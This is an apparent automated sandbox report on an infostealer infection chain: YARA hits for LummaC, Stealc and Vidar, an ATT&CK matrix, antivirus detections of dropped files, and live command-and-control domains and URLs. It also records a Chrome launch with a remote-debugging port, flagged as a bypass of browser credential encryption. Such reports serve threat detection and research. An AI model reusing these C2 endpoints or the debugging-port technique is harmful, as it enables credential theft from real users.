Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH

Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Directory queried: number of queries: 1001

Source: Yara match	File source: 0000001E.00000003.3598848162.0000000001138000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3614760975.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3572256199.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2887885665.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3466744227.0000000001176000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2889042019.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2913722505.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3803442222.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3479771297.0000000001138000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2887992510.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3468708215.0000000001123000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3929798314.000000000094E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2887459258.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2913252442.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3593252563.000000000111D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EUCyhuW.exe PID: 344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 412ec13ac5.exe PID: 4788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 580c9354ec.exe PID: 6008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9f6ea82062.exe PID: 932, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 51ecf08926.exe PID: 1844, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: EUCyhuW.exe PID: 344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 412ec13ac5.exe PID: 4788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 580c9354ec.exe PID: 6008, type: MEMORYSTR
Source: Yara match	File source: 9.2.EUCyhuW.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.EUCyhuW.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3125830482.00000000031A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000024.00000002.4203714163.0000000000A51000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3308819951.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3942624190.0000000000A51000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3929798314.000000000094E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.3428194939.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.4260064567.00000000015FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9f6ea82062.exe PID: 932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9f6ea82062.exe PID: 3940, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 9f6ea82062.exe PID: 932, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	23 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	5 Obfuscated Files or Information	Security Account Manager	247 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	212 Process Injection	12 Software Packing	NTDS	991 Security Software Discovery	Distributed Component Object Model	2 Clipboard Data	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	4 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	471 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	471 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	212 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	58%	Virustotal		Browse
file.exe	55%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\hYW0tgm[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\EUCyhuW[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[3].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	55%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[3].exe	63%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	18%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[3].exe	87%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	18%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1019601001\a53907268b.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1019602001\647da3efc5.exe	55%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1019603001\d0c6b9d6b8.exe	87%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1019604001\0c0e50df68.exe	63%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\370821\Sale.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Infostealer.Tinba

Name	Malicious	Reputation
aspecteirs.lat	false	high
sustainskelet.lat	false	high
rapeflowwj.lat	false	high
energyaffai.lat	false	high
grannyejh.lat	false	high
necklacebudi.lat	false	high
crosshuaht.lat	false	high
bellflamre.click	true	unknown
http://185.215.113.206/c4becf79229cb002.php	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	9f6ea82062.exe, 00000020.00000002.3929798314.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://fieldhitty.click:443/api	17ce3a84e4.exe, 0000001B.00000002.4524131042.00000000014CF000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000003.4498901768.00000000014CF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/chrome_newtab	EUCyhuW.exe, 00000009.00000003.2805310164.0000000003728000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805076562.000000000372B000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805196036.0000000003728000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3245396945.00000000038AC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250034677.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3249885987.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3466602606.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3467960261.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3476918307.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3531478078.00000000009F6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://fieldhitty.click/api&	17ce3a84e4.exe, 0000001B.00000003.4498901768.00000000014E9000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000002.4524131042.00000000014E9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/ac/?q=	EUCyhuW.exe, 00000009.00000003.2805310164.0000000003728000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805076562.000000000372B000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805196036.0000000003728000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3245396945.00000000038AC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250034677.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3249885987.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3466602606.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3467960261.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3476918307.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3531478078.00000000009F6000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/	9f6ea82062.exe, 00000024.00000002.4260064567.000000000164D000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000024.00000002.4260064567.00000000015FB000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4278061535.0000000005B81000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat/V	EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat/apiLb	EUCyhuW.exe, 00000009.00000003.3093424754.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000002.3138189518.0000000000F03000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://discokeyus.lat/Q	EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	EUCyhuW.exe, 00000009.00000003.2856083987.000000000378F000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3385290739.000000000390D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3641823591.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4054758953.000000000B8E1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/	412ec13ac5.exe, 0000001E.00000003.3207231180.000000000111D000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3373433430.00000000038FE000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3622898084.000000000111D000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3298472752.00000000038E9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3551750660.000000000117D000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3412770399.0000000003905000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3592146204.000000000117E000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000002.3657261192.000000000111D000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3412261797.00000000038FC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3298172128.00000000038E9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000002.3658768402.000000000117E000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3374828427.0000000003905000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3630270875.000000000117E000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3593252563.000000000111D000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3548292393.0000000001176000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll.	9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.phpation	9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.3929798314.000000000094E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pancakedipyps.click:443/api(	412ec13ac5.exe, 0000001E.00000003.3412770399.000000000390E000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3548818763.000000000390E000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://fieldhitty.click/api9	17ce3a84e4.exe, 0000001B.00000003.4488835946.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click/2	412ec13ac5.exe, 0000001E.00000003.3207422516.0000000001138000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3207231180.000000000111D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206FCG	9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp	false	unknown
https://pancakedipyps.click/.	412ec13ac5.exe, 0000001E.00000003.3179102375.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click/api	412ec13ac5.exe, 0000001E.00000003.3630270875.000000000118F000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3207231180.000000000111D000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3589106795.000000000118F000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3298372606.0000000001196000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3467586885.000000000118F000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000002.3658768402.000000000117E000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3548508878.000000000118F000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3630270875.000000000117E000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3593252563.000000000111D000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpinit.exe	9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp	false	high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4278061535.0000000005B81000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.microsoft.x	580c9354ec.exe, 0000001F.00000003.3614760975.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3572256199.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3870761939.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3803442222.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3927069843.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.mozilla.com/en-US/blocklist/	9f6ea82062.exe, 00000020.00000002.4069578254.000000006C0DD000.00000002.00000001.01000000.0000001E.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpe13b062b4c5e95f4989d6bd1e553	9f6ea82062.exe, 00000020.00000002.3942624190.0000000000BB7000.00000040.00000001.01000000.00000012.sdmp	false	unknown
https://discokeyus.lat/JJFf	EUCyhuW.exe, 00000009.00000003.2828355789.0000000003773000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.php34	9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/Local	9f6ea82062.exe, 00000024.00000002.4260064567.000000000164D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	EUCyhuW.exe, 00000009.00000003.2805310164.0000000003728000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805076562.000000000372B000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805196036.0000000003728000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3245396945.00000000038AC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250034677.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3249885987.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3466602606.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3467960261.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3476918307.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3531478078.00000000009F6000.00000004.00000020.00020000.00000000.sdmp	false	high
